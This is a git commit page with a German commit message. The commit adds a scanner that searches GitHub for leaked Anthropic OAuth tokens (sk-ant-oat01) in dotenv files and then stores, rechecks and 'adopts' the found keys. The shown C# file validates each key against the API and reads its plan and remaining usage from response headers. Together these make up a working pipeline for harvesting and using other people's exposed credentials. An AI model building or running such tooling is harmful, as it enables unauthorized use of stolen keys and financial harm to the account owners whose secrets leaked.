feat: GitHub Key Scanner mit automatischem Intervall und manueller UI

- KeyScannerService als BackgroundService (Timer + manueller Trigger)
- GitHub Code Search: sucht nach sk-ant-oat01-* Keys in Dotenv-Dateien
- AnthropicKeyChecker: shared Key-Check-Logik (ersetzt Duplikat in ApiKeysEndpoint)
- ScannedKeyRecord Model mit Soft-Delete und Adopt-Verknüpfung
- Scan-Endpoints: trigger, status, list, recheck, adopt, delete
- API-Keys-Page: Scanner-UI mit Status-Indikator und Scanned-Keys-Liste
- GitHub-URL pro gefundenem Key (html_url aus Search API)
- Server-Settings: GitHubToken + ScanIntervalHours konfigurierbar
- DB-Migration: scanned_keys Tabelle + api_keys Meta-Spalten (status, plan, usage)
- ApiKeyRecord erweitert um Status/Plan/Usage-Felder mit UpdateApiKeyMeta()
This commit is contained in:
Meleki committed 2026-03-12 15:35:22 +01:00
1 parent db1a7c7f64
commit 006ef223bf
15 files changed
+996 -107

No files matched your search

+115
View File
@@ -0,0 +1,115 @@
using System;
using System.Globalization;
using System.Linq;
using System.Net.Http;
using System.Net.Http.Headers;
using System.Text;
using System.Text.Json;
using System.Threading.Tasks;
namespace Gott.Services
{
public class KeyCheckResult
{
public string Status { get; set; } // "ok", "invalid", "rate_limited", "quota_exceeded", "error"
public string Message { get; set; }
public string Plan { get; set; } // "Max", "Pro", "Pro/Max", "API Console", "Unknown"
public bool IsSubscription { get; set; }
public double? Usage7d { get; set; }
public double? Usage5h { get; set; }
public double? Overage { get; set; }
public string Status7d { get; set; }
public string Status5h { get; set; }
public string StatusOverage { get; set; }
}
public static class AnthropicKeyChecker
{
public static async Task<KeyCheckResult> CheckKeyAsync(IHttpClientFactory httpFactory, string apiKey)
{
try
{
var client = httpFactory.CreateClient();
client.Timeout = TimeSpan.FromSeconds(30);
var payload = JsonSerializer.Serialize(new
{
model = "claude-sonnet-4-20250514",
max_tokens = 1,
messages = new[] { new { role = "user", content = "hi" } }
});
var request = new HttpRequestMessage(HttpMethod.Post, "https://api.anthropic.com/v1/messages");
request.Headers.Add("x-api-key", apiKey);
request.Headers.Add("anthropic-version", "2023-06-01");
request.Content = new StringContent(payload, Encoding.UTF8, "application/json");
var resp = await client.SendAsync(request);
var statusCode = (int)resp.StatusCode;
if (statusCode == 401)
return new KeyCheckResult { Status = "invalid", Message = "Ungültig oder abgelaufen (401)", Plan = "Unknown" };
if (statusCode == 429)
return new KeyCheckResult { Status = "rate_limited", Message = "Rate Limited (429)", Plan = "Unknown" };
if (statusCode == 403)
return new KeyCheckResult { Status = "quota_exceeded", Message = "Insufficient Quota (403)", Plan = "Unknown" };
if (statusCode >= 400)
return new KeyCheckResult { Status = "error", Message = $"API-Fehler ({statusCode})", Plan = "Unknown" };
// Key gültig – Header auslesen
var headers = resp.Headers;
var d7Util = GetHeader(headers, "anthropic-ratelimit-unified-7d-utilization", "unified-7d-utilization");
var d5hUtil = GetHeader(headers, "anthropic-ratelimit-unified-5h-utilization", "unified-5h-utilization");
var overageUtil = GetHeader(headers, "anthropic-ratelimit-unified-overage-utilization", "unified-overage-utilization");
var d7Status = GetHeader(headers, "anthropic-ratelimit-unified-7d-status", "unified-7d-status");
var d5hStatus = GetHeader(headers, "anthropic-ratelimit-unified-5h-status", "unified-5h-status");
var overageStatus = GetHeader(headers, "anthropic-ratelimit-unified-overage-status", "unified-overage-status");
var fallbackPct = GetHeader(headers, "anthropic-ratelimit-unified-fallback-percentage", "unified-fallback-percentage");
var isSubscription = d7Util != null || d5hUtil != null;
// Plan-Erkennung
string plan;
if (!isSubscription)
plan = "API Console";
else if (overageUtil != null && double.TryParse(overageUtil, NumberStyles.Float, CultureInfo.InvariantCulture, out var ov) && ov > 0)
plan = "Max";
else if (fallbackPct == null)
plan = "Pro";
else
plan = "Pro/Max";
var result = new KeyCheckResult
{
Status = "ok",
Plan = plan,
IsSubscription = isSubscription,
Status7d = d7Status,
Status5h = d5hStatus,
StatusOverage = overageStatus
};
if (d7Util != null && double.TryParse(d7Util, NumberStyles.Float, CultureInfo.InvariantCulture, out var d7))
result.Usage7d = Math.Round(d7 * 100, 1);
if (d5hUtil != null && double.TryParse(d5hUtil, NumberStyles.Float, CultureInfo.InvariantCulture, out var d5))
result.Usage5h = Math.Round(d5 * 100, 1);
if (overageUtil != null && double.TryParse(overageUtil, NumberStyles.Float, CultureInfo.InvariantCulture, out var ovVal))
result.Overage = Math.Round(ovVal * 100, 1);
return result;
}
catch (Exception ex)
{
return new KeyCheckResult { Status = "error", Message = ex.Message, Plan = "Unknown" };
}
}
private static string GetHeader(HttpResponseHeaders headers, params string[] names)
{
foreach (var name in names)
if (headers.TryGetValues(name, out var values))
return values.FirstOrDefault();
return null;
}
}
}